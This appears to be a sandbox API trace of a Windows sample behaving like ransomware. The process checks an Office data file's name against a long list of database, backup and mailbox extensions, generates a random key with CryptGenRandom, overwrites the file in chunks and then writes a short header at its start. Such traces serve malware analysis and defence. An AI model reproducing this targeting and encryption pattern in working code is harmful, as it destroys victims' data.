	[0137.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0137.505] lstrlenW (lpString=".sqb") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".sqb") returned 0x0
	[0137.505] lstrlenW (lpString=".ost") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".ost") returned 0x0
	[0137.505] lstrlenW (lpString=".txt") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".txt") returned 0x0
	[0137.505] lstrlenW (lpString=".mdt") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".mdt") returned 0x0
	[0137.505] lstrlenW (lpString=".BDB") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".BDB") returned 0x0
	[0137.505] lstrlenW (lpString=".eql") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".eql") returned 0x0
	[0137.505] lstrlenW (lpString=".DBF") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DBF") returned 0x0
	[0137.505] lstrlenW (lpString=".EQL") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".EQL") returned 0x0
	[0137.505] lstrlenW (lpString=".FDB") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".FDB") returned 0x0
	[0137.505] lstrlenW (lpString=".EDB") returned 4
	[0137.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".EDB") returned 0x0
	[0137.506] lstrlenW (lpString=".DACPAC") returned 7
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DACPAC") returned 0x0
	[0137.506] lstrlenW (lpString=".VHD") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".VHD") returned 0x0
	[0137.506] lstrlenW (lpString=".DBV") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DBV") returned 0x0
	[0137.506] lstrlenW (lpString=".dacpac") returned 7
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dacpac") returned 0x0
	[0137.506] lstrlenW (lpString=".sdf") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".sdf") returned 0x0
	[0137.506] lstrlenW (lpString=".accdb") returned 6
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".accdb") returned 0x0
	[0137.506] lstrlenW (lpString=".DBX") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DBX") returned 0x0
	[0137.506] lstrlenW (lpString=".MDT") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".MDT") returned 0x0
	[0137.506] lstrlenW (lpString=".SQB") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".SQB") returned 0x0
	[0137.506] lstrlenW (lpString=".vhd") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".vhd") returned 0x0
	[0137.506] lstrlenW (lpString=".bac") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".bac") returned 0x0
	[0137.506] lstrlenW (lpString=".mdf") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".mdf") returned 0x0
	[0137.506] lstrlenW (lpString=".BAK") returned 4
	[0137.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".BAK") returned 0x0
	[0137.506] lstrlenW (lpString=".BAC") returned 4
	[0137.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".BAC") returned 0x0
	[0137.507] lstrlenW (lpString=".dbs") returned 4
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dbs") returned 0x0
	[0137.566] lstrlenW (lpString=".vhdx") returned 5
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".vhdx") returned 0x0
	[0137.566] lstrlenW (lpString=".NDF") returned 4
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".NDF") returned 0x0
	[0137.566] lstrlenW (lpString=".dat") returned 4
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dat") returned 0x0
	[0137.566] lstrlenW (lpString=".DBS") returned 4
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DBS") returned 0x0
	[0137.566] lstrlenW (lpString=".CKP") returned 4
	[0137.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".CKP") returned 0x0
	[0137.567] lstrlenW (lpString=".edb") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".edb") returned 0x0
	[0137.567] lstrlenW (lpString=".PST") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".PST") returned 0x0
	[0137.567] lstrlenW (lpString=".dbf") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dbf") returned 0x0
	[0137.567] lstrlenW (lpString=".SQL") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".SQL") returned 0x0
	[0137.567] lstrlenW (lpString=".pst") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".pst") returned 0x0
	[0137.567] lstrlenW (lpString=".dbv") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dbv") returned 0x0
	[0137.567] lstrlenW (lpString=".SDF") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".SDF") returned 0x0
	[0137.567] lstrlenW (lpString=".dtxs") returned 5
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dtxs") returned 0x0
	[0137.567] lstrlenW (lpString=".db3") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".db3") returned 0x0
	[0137.567] lstrlenW (lpString=".OST") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".OST") returned 0x0
	[0137.567] lstrlenW (lpString=".dbx") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".dbx") returned 0x0
	[0137.567] lstrlenW (lpString=".DB3") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DB3") returned 0x0
	[0137.567] lstrlenW (lpString=".DAT") returned 4
	[0137.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT", lpSrch=".DAT") returned=".DAT"
	[0137.567] lstrlenW (lpString=".DAT") returned 4
	[0137.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.568] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.569] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.569] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.569] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25755909738) returned 1
	[0137.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb71de90, dwHighDateTime=0x1d60e1e)) 
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825860
	[0137.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825860 | out: hHeap=0x300000) returned 1
	[0137.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c64b0
	[0137.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.570] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.570] GetLastError () returned 0x0
	[0137.570] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.570] GetLastError () returned 0x0
	[0137.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.577] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.579] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.581] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.583] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.584] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.589] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.589] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.590] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.593] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.593] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.594] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.594] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.594] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.595] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.596] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.596] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.599] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.599] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.599] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.600] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.601] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.602] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.604] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.605] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.605] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.606] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.623] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.624] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.625] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.625] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.626] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.626] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.630] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.631] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.632] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.632] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.634] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.634] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.635] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.635] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.636] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.636] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.637] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.638] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x18978, lpOverlapped=0x0) returned 1
	[0137.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7688, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.638] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x18978, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x18978, lpOverlapped=0x0) returned 1
	[0137.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0137.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.639] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
